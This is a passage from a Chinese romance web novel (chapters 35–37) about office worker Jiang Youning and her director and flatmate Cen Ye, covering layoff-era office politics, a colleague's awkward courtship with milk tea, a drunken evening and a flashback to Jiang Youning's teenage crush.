“我要争取今天把节前的工作做完,明天有时间做一下彙报的ppt然后摸个鱼,你先别打扰我了啊。”姜又柠拍拍她的胳膊,表情严肃了很多。 “哼~”江诗文一副看穿她的样子,“我懂嘛,不过咱俩是好闺蜜有什么不能直说的嘛,还是等在一起了才打算告诉我?你跟岑曳姐知根知底,要是喜欢千万不要错过啊。” 已经喜欢过一次,也错过一次了。 姜又柠默默在心裏回答她。 十点的时候,总监助理接待了几个人,庄玟为首,后面跟着几个员工一起走进了小会议室。 没几分钟,岑曳推开办公室的门,走到江诗文身边,“过来开会吧。” “岑曳姐,你怎么知道我在这儿?” 岑曳示意了眼会议室的方向,又催促了她一下。 之后女人的视线落在了姜又柠的脸上,姜又柠跟她对视几秒钟,想到刚才江诗文的话,压着上扬的嘴角挪开了目光。 “看到我这么高兴?” 姜又柠立刻摆着脸,使用一指禅愤愤地敲了几下键盘。 岑曳的掌心落在她的后颈,不轻不重地揉捏了几下才迈着步伐离开。 姜又柠因这个动作往前趴了下,警惕地往周围看了看,发现大家都在埋头认真工作之后,紧张的心才放松下来。 临到中午饭点,会议室的门都没有任何动静。 包括姜又柠在内,不少人都点了外卖,直接在工位上吃。 “又柠?又柠!” 姜又柠抬头看了眼,是刘姐在喊她。 她犹豫了下走过去,“刘姐,怎么了?” “我看岑总监挺欣赏你跟诗文的啊,诗文一个海归调到庄总监那儿倒是不错,你是不是也能在岑总监手下发展发展?” “什么意思啊?”姜又柠笑了笑,装着糊涂。 “你看这最近这工作强度,大家都没准时下班过几天,这么努力了节后还要裁人。”刘姐说,“我看岑总监对你态度还挺好的,你一小姑娘说话又乖又动听,她说不定吃你这套。” “可是裁人的标准是看绩效的啊。” “群聊消息你都看见了吧?” 姜又柠点点头。 “我们有几个人已经在写建议信了,你也跟着想想办法,之前那几个总监干了几个月可都跳槽去了别的公司,身价涨了不少呢。你看看你能不能跟岑总监透个底,她可以不用这么辛苦,我们大家也不用这么辛苦嘛,轻松一些也可以晋升的呀,有庄总监在,总部的人能分担掉很多工作的。” 姜又柠皱着眉头思考,这群人到底是怎么看出来岑曳跟她很亲近的? 就算做了那些亲密的事情,那也是在家裏啊? 她们在公司也没一对一聊过几句吧? “你别怕,大家都是跟你站在一起的啊,你看看之前我们部门裏的氛围多轻松愉快啊,现在乌烟瘴气的,每天都是工作工作,跟监狱一样!” “刘姐,岑总监是总部来的,你让她摸鱼不工作是不可能的。”姜又柠劝了几句,有些无奈。 柿子要挑软的捏,是只看她好说话吧? 怎么不找别人单独跟岑曳沟通,要岑曳给她们减压呢? “总得试试嘛,又柠,你上个东家是大公司,你是知道加班的苦的,现在有这么个机会可以尝试,那大家是想试试的啊。” 姜又柠被她磨得有点头疼,想拒绝又不知道该怎么说。 跟刘姐熟悉的几个老员工也都裁得七七八八了,剩下的也都在这两个月内摸清了岑曳的性格,都开始认真工作,只剩下了几个上了年纪的刺头。 难听的话说不出来,姜又柠只能把话往自己能得罪的对象身上揽。 “想要岑总监摸鱼混日子,不如信她暗恋我。”说完姜又柠就回了自己的工位。 刘姐看她罕见地强硬,开了个不能开的玩笑,也知道她是不高兴了,抿了抿唇没有继续进行这个话题。 不远处的会议室不知道什么时候开了门,饭点部门裏吵吵闹闹的,不少人来来往往地路过,姜又柠也没怎么注意。 岑曳跟庄玟交谈着一前一后在姜又柠面前路过,她将脑袋往下垂了垂,尽量降低了自己的存在感。 两个女人朝着一处有大片空工位的地方走过去,岑曳吩咐了助理要这裏零零散散的几个人搬到另一边的空工位上。 “这个地方就安排给你们,当作临时的工位。”岑曳说,“总部那边还有别的安排吗?” “忙一段时间我就得回总部了,之后偶尔过来一趟。”庄玟说,“最近部门裁了太多人,如果你有需要,我会帮你向总部申请再调动一批员工来部门负责国内的事情。” “暂时不用了,我会自己招人的。”岑曳婉拒了,“总部那边的人,你也清楚得很,我可用不得。” “岑阿姨的身份摆在那裏,吩咐她们不还是一句话的事情?”庄玟扯了扯唇,“你就是容易心软好说话,不然在总部那边也不会吃那么多苦。” 两个人同在总部带项目的时候,都是同辈裏年纪最小的人,不到三十岁的年纪就当上领导,那边又是淘汰制,有很多人不愿意服从。 庄玟整日冷着脸,相比较之下,挑刺的人就会去选择把矛盾闹在看样子好说话的岑曳身上。 但岑曳说一不二,也只是看着好说话而已。 后来项目带得不错,还将这些爱出尖的人的小动作都收集了证据,要么炒掉要么降职,某段时间在公司闹得确实不小。 “行了,知道我们庄负责人本事大了。”岑曳调侃了几句,又笑了笑,“诗文那儿你说话别太硬了,不说我们小辈之间的相处,几个母亲毕竟关系好,你别把跟诗文的关系闹僵了。” “我对她服软很多次了,帮她冲咖啡,帮她改策划案,不比讲好听话有用吗?”庄玟不解,“那些会说漂亮话的有几个是能做实事儿的?” “是吗?”岑曳对于庄玟的前半句话不太相信,“我昨天看,咖啡是在晚上冲的吧?策划案的话……” “她回房间休息之后我就上手帮她改了,我浪费了我自己的工作时间去忙本来不属于我的事情。”庄玟说,“我做得还不够好吗?” “你工作方面确实没有任何差错。”岑曳当然不会怀疑庄玟的工作能力。 但要是她的话,就会穿得松松垮垮的,站在姜又柠背后抓着她的手一起改,而不是偷偷摸摸改了不让对方知道。 偶尔对着她吹个气咬咬耳朵,再说些姜又柠最‘讨厌’听到的话,效果不是一般的好。 这种行为才是发展感情的正确方式,而不是庄玟那样把对方当成工作伙伴。 “你有什么好的建议给我吗?”庄玟诚心地发问,“比如现在这种莫名其妙生气的状况?看你现在的感情状况好像非常乐观。” 岑曳很喜欢她对于自己感情方面的评价,脸上的笑容丰盛了些,“刚认识的话,还是了解下喜好,送个礼物。” 庄玟凝眉思考,“珠宝首饰之类的吗?我想想。” “太贵重了,这些比较适合熟悉之后再送。”岑曳告诉她,“最开始买些她喜欢的吃的喝的,从细节下手。” 庄玟若有所思地点点头,“下午我让我助理跑一趟。” “慢慢来吧,感情不是一蹴而就的事情,喜欢倒也不能强求。” “我当然不会强求,只是跟江诗文打好关系的话,我能把时间更多得花在我自己的工作上,而不是跟她的相处上。”庄玟格外坦诚,“谢谢你,岑曳,你的建议很有效,几乎不怎么浪费时间。” 岑曳淡笑了下没说话,视线落在了不远处好好吃饭的姜又柠身上。 她正皱着眉头将餐盒裏不爱吃的葱挑拣出来。 从小到大,吃对于姜又柠来说就是比天还大的事情。 所以,她将姜又柠每个细微的喜好都记得格外清楚。 “还是跟你沟通最有效,每个字都是关键信息。”庄玟拍拍她的肩膀,“我先走了,那间临时工作室我得尽快收拾下。” 岑曳点点头,没有送她。 姜又柠跟不远处的女人对视上,很快就避开了她的视线。 下午上班的时候,姜又柠发现旁边的工位上多了一杯热奶茶和一杯冰镇果汁。 江诗文坐下的时候,意外地看了眼,“柠柠,这你给我买的吗?” “啊?”姜又柠懵懵的,“我以为是你要自己喝的,不是吗?” 江诗文看了眼订单信息,“江开头的名字,两个星号。手机尾号倒是我没错,可我外卖昵称不用真名啊?这谁买的?” “部门裏有人暗恋你!”姜又柠笑出了声,“你还说我呢,你看看,暗恋你的人都有实际行动了!” “这谁敢喝?怪吓人的……”江诗文把喝的放到了一边,疑惑地看了看周围的工位,没能找到‘诡异’的人。 忙了好久,姜又柠抽空问她一句,“想到是谁了吗?” “没有,但我也觉得肯定是部门裏的人,但我只跟你关系好啊,咱部门裏甚至没几个人知道我手机号的。”江诗文狐疑地问,“柠柠,真不是你点的?我跟你说了来例假了,你就恰好点了杯热奶茶,然后你也爱喝冰镇果汁!” “不是我啊!我怎么可能会写你的真名啊?” 她们两个可都是非常注重个人隐私的。 “奇了怪了。” 忙碌了一下午,江诗文还是没动这杯奶茶。 临下班的时候,总监助理路过这裏,在姜又柠手裏放下了一份文件。 “要校对吗?”姜又柠抬眸,“什么时候交?” “不是,今天上午的会议文件,岑总监点名要你送到办公室去。” “我啊?”姜又柠指了指自己,很快就察觉到周围工位上投过来的视线。 这下真是众矢之的了。 刘姐耳朵尖,给了她一个鼓励的眼神表示格外看好她。 身边的江诗文脸上也多了些只有闺蜜间才懂的深沉的笑,“到底是谁被部门裏的人暗恋了,好难猜哦?” “别瞎说,送个文件而已。”姜又柠拍了她一下,保持镇定,步伐轻松地朝着总监办公室的方向走。 她敲了敲门,得到允许之后便进去了。 “你干嘛要我送文件?”现在的姜又柠对岑曳毫不客气,“你知不知道部门裏现在看出来我们两个关系不一般了?” “哪裏不一般?”岑曳接过她递过来的文件,“你可以跟她们解释一下我们的关系。” “岑曳!”姜又柠愤愤道,“刘姐可是部门裏的老人了,她什么都能看出来的,她想让我说服你,跟着大队伍一起摸鱼啊!” “那你是怎么回她的?” 姜又柠‘嘶’了下,察觉到不对劲,“你是不是听到什么了?” 饭点实在太吵了,她刚在工位上坐下就看见岑曳走了过去。 “柠柠。”女人站起来,眸中带笑,“你是不是想跟我求和啊?” “我求你个鬼啊!” 姜又柠惊吓地一溜烟就从办公室裏马不停蹄地跑掉了—— 作者有话说:小姜可爱[害羞][害羞]《 》 35-40 第36章 国庆假期前的最后一天工作日, 姜又柠光荣地便利贴上的小时改成了8. 江诗文早早地来到办公室,盯着右上角动也没动放了一天的奶茶,还是没能想出来是谁。 “不行我给扔了吧, 万一真是部门裏的人送的,看见我没喝的话是不是也挺尴尬的?” 姜又柠没经历过这种事情,也不知道该怎么处理, “不然你偷偷拿到外面处理呢?你最近真不去庄玟那儿啦?” “看我心情吧。”江诗文说,“心情好了我就去那儿把奶茶分给她一杯喝喝, 我看扔了挺浪费的。” “嗯, 现在天气冷了, 隔夜奶茶应该不会坏吧?” “不知道。”江诗文摇摇头, “尝一口算了。” 她只尝了下果汁,皱着眉头评价道,“冰块化完了,味道有点苦, 不过能喝。” 姜又柠婉拒了江诗文递过来的那杯奶茶, “我还剩点儿工作,早上做完下午就能摸鱼了。” “国庆出去吃饭吧?我最近又发现了好几家餐厅,或者我们去酒吧玩儿?” “看看情况。”姜又柠给不了确切的答案。 要是在之前,她肯定一口就答应了,但现在跟岑曳住在一起, 她有一种不可以出门偷偷玩, 必须要跟家长报备的感觉。 要是吃得一身味道回来, 或者醉醺醺的,岑曳又要觉得她习惯差不爱干净了。 “哎呀,怎么回事儿嘛,你没发现你最近跟我一起玩的次数特别少吗!我们都很久没一起追综艺出门吃饭了!” “也行, 你定地方吧。” 八天假期呢,她肯定能找出来偷溜的时间的。 “要不要喊岑曳姐一起玩?”江诗文问,“她会愿意吗?我真的觉得她对你有意思。” 聊了没几句就又扯到这件事情上,姜又柠有点无奈,爱嘴上争个输赢的习惯冒了出来,“你怎么不喊庄玟?你不是要跟她发展感情吗?” “行啊,我都能喊,反正我看热闹不嫌事大!” 姜又柠开始后悔自己刚才答应了江诗文,她比自己还虎,有家庭托底,天不怕地不怕,折腾出什么事儿来都不担心。 “要不你去庄玟那儿上班吧,给她送奶茶去。”姜又柠开始催促她。 她现在不能像之前那样混日子了,岑曳来部门真短短一段时间内把死水搅活了,她也得跟上进度,不能掉队才是。 “送昨天的奶茶也太不像话了。”江诗文说,“我那天对她摔门了,我现在没那个脸找她去,不然她肯定会很得意的,觉得我先服软道歉了,我不会给她这种幻想的可能性的。” “你在她那儿上班成长肯定很快的,你不是跟我说过好几次,想要证明你自己给你妈妈看吗?这是现成的好机会。”姜又柠认真给她分析着利弊,“就算不谈感情,但你把她当进步的工具人多好啊,还不用担心结果,反正我觉得没一点儿坏处的。” “说得也是哦。”江诗文想了想,收拾了下自己的公文包,“那我去了柠柠,你等着吧,等放假了我一定帮你考察出来,岑曳姐真的暗恋你!” 江诗文留下了一句重击就走了,姜又柠往总监办公室的方向看了一眼,发愁地托腮。 到底该不该尊重自己内心的选择,再次跟岑曳走近呢? 合租只剩下一个半月了,要是不想合租她能有无数个理由的,但岑曳的想法好像很坚定的样子。 每次对上女人的眼神,灼热得她都想要逃离。 她没以前胆子大,甚至不敢让姜鸿英知道她跟岑曳现在在合租,还是上司和下属的关系。 不然姜鸿英说不定会让她辞职,再去找份清闲的工作,顺便给她一笔钱要她重新去找房子。 姜鸿英的教育一直是不求赚大钱,只求快乐开心的。 她认为,姜又柠跟岑曳在一起是不会有持续性的开心的日子的。 姜又柠嘆了口气,这样跟岑曳当断不断,才是最让人难受的- 江诗文拎着两杯新的热奶茶去了庄玟的工作室。 这儿的几个员工是总部跟过来的,都知道江诗文的身份,所以面上对她也很客气,但庄玟事先嘱咐过了,所以她们该交给江诗文去做的工作一点儿都没含糊。 她敲开庄玟的办公室,没等到回复就走进去将奶茶放在她办公桌上,“送你奶茶。” 庄玟上上下下打量她几眼,想着岑曳的法子还挺有效的,这样一来一往确实比之前一起加班要轻松多了,她至少不用时时刻刻顾忌着江诗文的情绪,不然就会影响她自己办公的思绪和速度。 “谢谢。”庄玟将奶茶放到手边,“昨天送你的奶茶口味喜欢吗?不喜欢的话我可以再换一款。” “昨天的奶茶是你送的?”江诗文恍然大悟,“你怎么不跟我说啊?” “你猜不出来吗?”庄玟蹙眉,“不是你跟我讲,你喜欢喝奶茶、果汁这类垃……这类饮品的吗?” 本着友好的原则,江诗文改了口,“我挺喜欢喝的,谢谢你。” 庄玟得到了满意的答案,将手裏的文件递给她,“假期安排,你可以提前在今天开始做。” “假期还有工作啊?”江诗文后退一步,没有接。 “可以按照足量的工时付你三倍工资。” “你把我当你的员工啊?我不缺那点儿钱。”江诗文将文件推回去,“假期就是用来享受的,我不干。” 庄玟坦然地将文件收回去,“国庆假期总部的人都在工作,我假期可能要开很多会,没有太多时间跟你见面。” “我也不需要跟你见面,我假期要跟柠柠还有岑曳姐一起去吃饭。” 庄玟乐了,“她们两个吃饭,你跟着去什么?” “怎么不能是我跟柠柠吃饭,岑曳姐也要去呢?” 庄玟思索了下,“岑曳的性格,倒是也有这个可能。” “你有什么好疑惑的……”江诗文不理解。 “没什么问题,你要是乐意去就去,不觉得尴尬就好。”庄玟将吸管插/进奶茶裏喝了一口,甜得她眉头紧蹙,立即抿了口咖啡咽下去。 “不尴尬啊,你一个工作狂懂什么?我的爱商可在你之上,知道吗庄负责人?” 江诗文想了想,“不行你陪我去。” 庄玟闻言,摆摆手示意她离开,“我没时间陪你浪费。” “不是要跟我打好关系吗?我都给你买奶茶了,我精挑细选的小料和糖度,一般人我都不告诉她这样喝最好喝的。” 刚才在姜又柠那裏牛都吹出去了,她还真挺想把庄玟也拉过去的。 “太甜了,我不喜欢喝这些。”庄玟直白地回答,“你送别人礼物,都只送自己喜欢的吗?” “我就是随手买的,要我送你礼物?你还挺会想的。” 庄玟睨她,表情不悦。 怎么跟岑曳讲的不一样,不是应该互相送几次礼物然后就能成为朋友吗? “你要假期陪我去,我就送你礼物,怎么样?”江诗文手背后,跟她讲条件,“你喜欢什么?我送你一些好的咖啡豆吧?” “我不喜欢喝咖啡。” “是是是,为了提神嘛。”江诗文难得对她好脾气,“Jamaica Blue Mountain怎么样?不过这咖啡豆送到国内需要不少时间呢。” “我不喜欢喝咖啡。” “那你喜欢什么?”江诗文烦了,“你又不肯告诉我。” “工作。” 江诗文定了一秒钟,嘴裏吐槽了句‘有毛病啊’就离开了办公室- 美好的八天假终于到来了,岑曳和庄玟还有几个手下的员工去了趟国外出了三天的差。 姜又柠一个人独享房子,倒是舒舒服服地睡了好几天的觉,陪着江诗文深夜把恋爱综艺从头到尾又看了一遍,两个人人手一瓶啤酒,喝得七仰八叉地倒在沙发上,嘴裏嘟囔着‘我也要找一个深爱的人永远在一起!’ 但两个人脑子裏各自冒出了一个女人的身影,对视着嘆了口气。 姜又柠点开岑曳的聊天框,问她什么时候回来。 说好出差三天,这都第四天了。 手一抖,连着发送了好几个‘想你’的可爱猫猫表情包。 姜又柠盯着这一连串表情包,心想着还挺符合自己当下的心情的。 合上手机之后,才意识到那是她自己发过去的,急忙点开撤回却发现了已经过了两分钟。 【岑曳:又喝醉了?】 姜又柠当然不会承认。 【岑曳:少喝一点,我刚下飞机,一个多小时之后到家。】 【姜又柠:mei喝h。】 【岑曳:别喝了,等我回去给你煮醒酒汤。】 视频电话下一秒就打了过来,姜又柠本想着挂掉的,食指飘飘忽忽就按下了绿色的按钮。 ——“醉成这个样子还说没喝?”女人的话带了些倦意和无奈。 “我在家喝的,又不会有什么事情。”姜又柠将手机歪了下,“诗文陪我一起的。” 江诗文对着屏幕友好地招了招手。 手机对面的岑曳愣了下,看了眼旁边闭目养神的女人,才说。 ——“我很快就到家。” 通话不到一分钟就被挂断了,岑曳吩咐了司机开快一些,对着身边的女人道,“一会儿你跟我一起回家。” “做什么?”庄玟睁开眼睛问,“我要回工作室开个紧急会议,把出差的工作总结做好。” “也该让你的员工休息一下,你跟我回家,把诗文带回去看着她睡觉。” 听见是这事儿,庄玟也没辩驳了,想起前几次的奶茶事件,“我送她奶茶也没见她喝啊,说不知道是我送的,直说多尴尬?” “我们庄负责人还怕尴尬啊?”岑曳忍不住笑,“不想直说你就暗示啊,写个便利贴或者发条消息,让她能一下子猜到是你不就好了。” “奶茶送过了,下次可以送贵重的了吧?” “哪儿有那么快?”岑曳无奈地扶额。 庄玟在工作上遇到新情况能够瞬间举一反三,但在这种事情上能力完全等同于零。 上帝之窗开得挺通畅的,恋爱之门倒是用水泥全部封死了。 “从小事做起,天冷了嘘寒问暖,问穿衣问一日三餐。”岑曳的脑海裏想起姜又柠的样子,嘴角的笑意多了很多。 “啧,麻烦。” 车子在小区门口停下,岑曳利落地下了车,“还是没感情,要是喜欢的话,这些事情只会觉得怎么做都还是太少。” 打开门的时候,姜又柠正盘腿坐在地上,茶几上空了好几个酒瓶子,最前面的电视上还在播放恋爱综艺。 岑曳将姜又柠抱起来放在沙发上,将她手中的酒瓶夺走,顺便将电视关掉。 旁边的庄玟手足无措,“你就把一个酒鬼这样扔给我?” “谁是酒鬼!我自己能动!用不着你抱!”江诗文自己从地上起来一屁股坐在了沙发上。 “我去煮醒酒汤。”岑曳看见凌乱的茶几烦得很,“庄玟,你帮我简单收拾一下。” 岑曳从卧室裏拿了条新的毯子递给庄玟,将另一条悉心盖在了姜又柠的身上。 姜又柠醉后没什么精力闹,因为反胃始终皱着眉头。 庄玟有样学样,毯子还没盖上去就被江诗文扯走了。 冰箱裏的柠檬没有了,岑曳便打开了一罐蜂蜜,加入了温水搅拌。 一杯放在了江诗文的面前,她双手捧起来,“岑曳姐,你想跟我和柠柠明天一起去吃饭吗?” 岑曳正揽过姜又柠的肩,将杯口送到她的唇边,“可以啊。” 姜又柠喝了口蜂蜜水,看清了江诗文眸光裏的戏谑。 她推开岑曳,“我自己喝吧。” “庄玟说她也会去的。”江诗文指了指身边的女人,一下子就把她扯下了水。 “什么时候?”岑曳注意着姜又柠的状况,随口问。 江诗文又问庄玟,“你!什么时候有空!” “我倒是可以给她们放个几天假。” 庄玟开了口,倒是惹得岑曳笑了笑,“难得啊。” “没事儿的话我就回去开会了。”庄玟看了眼手表,“如果要放假,我得在今晚的会上把安排讲完。” “差不了这一晚上。”岑曳示意了下庄玟。 同为几年好友,默契得很,庄玟当然看得懂,岑曳要她把江诗文送回家裏去。 岑曳自然时时刻刻为她出谋划策,但她还不想跟一个酒鬼同处一室。 本来正常情况下的江诗文就不受控,更别说喝醉了的。 庄玟深呼吸了下,始终平静冷淡的面容上终于出现了一丝窘迫。 她双手往前试探了下,又不知道该怎么抱起江诗文。 “我自己能走。”江诗文喝光了柠檬水,正准备大步往前迈的时候就被庄玟拽住了小臂。 “过来,我可以背你。” 江诗文不情不愿地搂过了女人的脖子。 清醒些许的姜又柠乖巧坐在沙发上,双手捧着杯子,看着面前的好戏,“她俩还挺像恋爱综艺裏面的人的。” “是吗?”岑曳悠悠看她绯红的脸颊,忍住了捏的冲动。 “像那种都没有被选择,最后只剩下她们两个被迫组队的感觉。” 一个太闹腾咋咋呼呼的,一个太冷不近人情,还挺适合碰撞在一起的。 岑曳道出了精准的评价,“强扭的瓜。” 她起身给两个人开了门,顺便提醒一句庄玟,“好好搞关系。” 看庄玟的样子,太容易把江诗文扔到家裏就跑回工作室加班了。 茶几上被清理得干干净净,但外卖盒堆在茶几角落裏,垃圾桶也满了一大半。 “你洗洗澡休息吧,我自己会收拾干净的。”姜又柠晃了晃脑袋,她必须努力保持清醒。 蜂蜜水似乎不太管用,她的声音还是很飘。 岑曳沉默着将垃圾带了出去,几分钟之后就返回,用抹布和纸巾将茶几擦了好几遍。 姜又柠半躺在沙发上,闭着眼睛不知道睡着没有。 女人站在她面前弯下腰,仔细盯着她的脸蛋看。 “岑曳……”姜又柠低声喃喃着。 已经数不清这是第几次了,岑曳总会在她醉后照顾她,接纳她所有的坏习惯。 帮她清理残迹,帮她醒酒,甚至帮她洗澡…… 在此之前,以岑曳的强迫症来说,这些场景她只是看到就会焦虑得不像样子。 但现在,岑曳没有任何不乐意的样子,凡事还是以她为主、为她考虑。 “又想着怎么骂我呢?”岑曳戳了戳她的嘴巴。 姜又柠就喜欢在喝酒之后吐槽她,要么就喊她的名字、一遍遍地喊来确认她在身边没有离开。 “岑曳……” “我就在这裏,你说。” 她张了张唇,轻声呢喃,“还是……很喜欢你……” 第37章 有些意外。 岑曳安静地看着她的睡颜, 伸出手轻抚着她的脸颊,“明天别又装记不得了。” 姜又柠醉后的事情记得一清二楚这个特点,她也格外清楚。 酒精总能放大人的胆子, 姜又柠便一次两次利用酒后耍些小心机,要么心安理得地使唤岑曳,要么在床上想着法子要岑曳伺候她, 爽了之后就盖上被子翻脸不认人,舒舒服服地去睡觉了。 岑曳抱着她回了房间, 帮她脱了鞋子和衣服, 坐在床边握住她的手, 怎么都舍不得离开她。 也就三四天没见而已, 也像三四年那么难熬。 许久之后,她才起身准备离开,但手却被床上的人拽住了。 姜又柠没醒,只是翻了个身子朝向她, 将她的手揣在怀裏, 始终没有松开的意思。 “我很快来陪你,好不好?”岑曳低声告诉她。 而姜又柠没动,握她的手更紧了些。 犹记得姜又柠考上重点高中的那一天,姜鸿英特意买了高粱酒,经过岑千兰允许之后, 两对母女高高兴兴地在岑家聚餐。 姜鸿英骄傲得很, “别看我们柠柠平常成绩不怎么样, 但到了关键时候,那绝对是一顶一得强啊!” 岑千兰拿过手裏的酒杯跟她碰了下,“柠柠的脑袋是机灵很多,嘴巴也甜, 不怯场。” 姜又柠美滋滋地吃着大餐,这次听见岑千兰都开始夸她,尾巴更是要翘到天上去。 她兴奋看了眼旁边的岑曳,也小心翼翼地拿着手裏的果汁跟她碰杯。 “要一下子喝完哦。”岑曳刻意逗她。 姜又柠一副‘瞧不起谁呢’的表情,大口大口就往肚子裏吞,没几秒钟就将大半杯果汁喝得一干二净。 喝完还打了个嗝,没吃几口饭,倒是先灌了一肚子的水。 “行了,你都多大了,还这样逗小孩子。”岑千兰拦了下岑曳,吩咐她去将礼物盒拿过来。 岑曳起身又返回,手裏多了个粉色的礼物盒。 岑千兰笑着放在姜又柠面前,“柠柠,祝贺你考上重点高中。” 姜又柠是害怕面前的这个女人的,因为岑千兰的笑容总像看穿了一切似的,会让她紧张,下意识逃离。 她看了眼姜鸿英,姜鸿英立即婉拒了,“岑总,礼物就不用了,您能让我们跟您一起吃饭,已经足够了。” “这是给孩子的。”岑千兰不想参与过多无用的客套,将礼物放在了姜又柠手边就拿起了筷子没再继续这一茬儿,就像走了个流程。 姜又柠小心翼翼看了眼礼物盒,说不出高兴还是紧张的情绪更多一些,只能大口往嘴裏扒饭。 这礼物真像个炸弹,姜又柠暗自在心裏评价着。 岑千兰那张洞察人心的眼睛太令人胆怯了,她甚至觉得,她偷偷喜欢岑曳的事情也被发现了。 姜又柠抬头看她一眼,立刻就被岑千兰发现了。 对方笑得很温柔,“怎么了?还要添些饭吗?” 姜又柠立刻用力摇了摇头,把自己的椅子往旁边挪了挪,跟岑千兰的视线错开了。 “过来,坐我这儿。”岑曳抓过她的手腕,要她坐在了自己的身边,“给你夹块排骨吃。” 姜又柠这才笑得轻松些,脑袋往岑曳胳膊上蹭了蹭又立即松开了。 饭后岑千兰在沙发上跟岑曳谈着话,姜又柠陪着姜鸿英收拾餐桌,动作磨蹭得很,不怎么想去厨房,只想竖起耳朵偷偷听沙发上的两个人在说什么。 餐桌上还有个干净的杯子,姜又柠偷偷往裏面倒了半杯高粱酒藏在了地上。 “柠柠,动作麻利点儿。” “知道了妈妈!”姜又柠将摞起的碗送去了厨房。 “作业写完了吗?”姜鸿英问她,“高一时间紧任务重,别再向之前那样贪玩儿,知道吗?” 姜又柠点点头,拿了抹布又回了客厅,“我去把餐桌擦干净!” 她捋起袖子努力干,继续听着沙发那边的谈话。 岑千兰看了眼时间,“我说的事情你考虑一下,你已经大四了是找工作的时候,妈妈直接给你安排到总部实习,不要走太多弯路。” “妈,我想先在国内生活,不怎么想跑那么远。” 姜又柠一边听着,半蹲下去小口抿了口高粱酒,刚喝进去的时候没什么感觉有点辣,后劲涌上来之后她就猛地咳嗽了几下,惹得沙发上的两个人回了头。 她不好意思地笑了笑,擦桌子的动作更卖力了,两个人继续谈话之后,她又捂住自己的嘴巴继续咳,好久才将难受的感觉咳下去。 “国内有什么好的?单打独斗的不容易,在国外你可以交到很多新的朋友,跟我们都是一个阶层的。”岑千兰认真地跟她探讨未来,“国内就业环境太差,我这么辛苦还不是为了让你有更好的选择吗?” “反正有好几个选择,我总得试试我自己最想走的那条路吧?”岑曳说,“我喜欢家裏这套房子。” “在国外妈妈也有房子呀,不止一套的,你喜欢哪套你就去住,都不喜欢那就另外买。” “妈,这套房子是你年轻时候拼命赚钱才买下来的,我一出生就在这裏住,你不觉得这裏更有家的感觉吗?” “跟妈妈住在一起才算家,不是吗?”岑千兰耐心说,“你去到国外,乐意跟我一起住那我们就一起住,不乐意你就自己单独住,妈妈都尊重你的选择。” “在国内也没见你在家住过多久,在国外不也是一样吗?”岑曳面容很淡,“要不是姜阿姨跟柠柠,家裏永远都是我一个人。” 岑千兰嘆了口气,“妈妈知道你是重感情的人,鸿英人看着朴实善良,所以我才跟她签了长期合同,哪怕她带了个孩子也要加工钱把她留下来。” “她们在家裏陪我吃饭的时候,我总觉得我才是那个外人。” 她完全参与不进去温暖的母女情,就像花钱请了家政陪自己演一场相亲相爱的团圆戏。 “她们做得不好是不是?如果你不舒服我就马上把她们换掉。” 岑曳摇摇头,“不是,她们很好。” 岑千兰沉默了几秒钟,“也不要跟她们的关系处得太近,她们对于我们而言,不是非有不可的,我们应该往上看,往更好的地方看。” 岑曳沉默着,没什么话要说。 “妈妈就你一个女儿,一切都以你自己的感受为主,好吗?”岑千兰继续说,“我努力给你提供好的环境和条件,就是为了让你有随时说不的权利。” “好了,我得走了,这次我尽量回来得早一些。”她站起身来,拍拍岑曳的肩膀,“你好好考虑一下刚才的那些话,妈妈还是希望你尽早到总部来。在妈妈身边,你什么都不用担心。” 她说完转身就走,步伐格外果断。 姜又柠手裏还揣着抹布,看见关门的声音之后,就小跑过来,还往门的方向看了看确认了下。 “姐姐,你要走啦?”姜又柠脸上写满了不舍,“你要去哪个国家?还回来吗?我还能见到你吗?” 岑曳认真看了她许久,“不舍得我吗?” 姜又柠重重点点头,“舍不得你,也舍不得巧克力奶茶小蛋糕……” 岑曳被她逗乐了,“我不走,谁说我要走了?” “我刚刚不小心听到了,要是我和妈妈做得不好,我们都会改的!”姜又柠准备握住她的手,又意识到自己手上的抹布,双手背后紧张道,“我以后不乱吃箱子裏的零食了,我也不让你帮我补课了,我上课不开小差了我考试也会进步的!” 她努力保证着一切,就想着让岑曳留下来。 “你别走,更别撵我和妈妈走……”姜又柠说着就忍不住掉了眼泪,“姐姐……” 她顾不得什么了,抱住岑曳在她的怀裏痛哭出声。 岑曳捏着她手裏的抹布扔到一边,拍了拍她的后背,“都说了我不走,我什么时候骗过你?” “可是这是岑阿姨说的,你怎么敢不听岑阿姨的话呀?我都很怕她的……” “是吗?”岑曳笑得更大声了,“回头那得让她知道下,她把你吓到了。” 从厨房裏忙完出来的姜鸿英看到就是姜又柠在岑曳怀裏嚎啕大哭的场面,她急忙将她拉出来,问着发生了什么。 “没什么大事儿,我妈在跟我谈要不要去国外工作的事情。” 姜鸿英笑容一僵,“……我们的合同还有好几年呢。” “姜阿姨,你别担心,我会留在国内的。”岑曳看向依旧眼泪流得停不下来的姜又柠,“今晚你们在这儿睡吧,明天帮我做一下早餐。” 姜鸿英点点头,用手快速擦掉了姜又柠脸上的眼泪,低声叮嘱她别再哭了。 姜又柠收了眼泪,将近晚上八点了,她拿了作业出来写。 一般周末的时候,她的作业都是在周日晚上补的,今天才周六,她不过就是看见岑曳抱着臺电脑在客厅忙着事情,所以她才愿意在客厅多待会儿。 她喜欢待在岑曳身边。 餐桌下面的高粱酒还在放着,她听大人说,喝酒能够缓解自己难过的情绪。 刚刚辣嗓子的感觉压下去之后,她就又想试试了。 姜又柠弯下腰悄咪咪把杯子拿了过来。 这次她喝得很小心,抿了一小口就继续写着作业。 岑曳皱着眉头,思绪全在面前的屏幕上,也没时间去理会姜又柠。 喝了酒简直是脑洞大爆发,姜又柠的注意力加强了不少,作业写得快极了。 下笔如有神,字写得飞快,直到字体开始出现重影,黑笔好像长了翅膀飘来飘去的,姜又柠开始握不住了。 姜又柠试图用两只手握住笔,本子上立刻出现了一条长长的黑线。 她口干舌燥的,下意识拿起旁边的酒杯喝光了最后一大口,却被呛得咳出眼泪来。 岑曳立即被她的动静吸引了过来,走近就闻到了一股巨大的酒味儿。 “柠柠?”她将酒杯拿远,迅速接了杯温水过来往她嘴裏灌,“……就一会儿没看住你。” 姜又柠大口吞咽着,“别让我妈妈知道,不然她要骂我了……” 她喝完一大杯还是咳着,嘴裏重复道,“姐姐求你了,别让我妈妈知道……” “走得稳吗?抱你回房间吧。”岑曳无奈地嘆了口气,将她凌乱的作业本和课本合上了,抱着她去了自己的卧室。 姜又柠蜷缩起双腿躺在床上,抓住了岑曳的手。 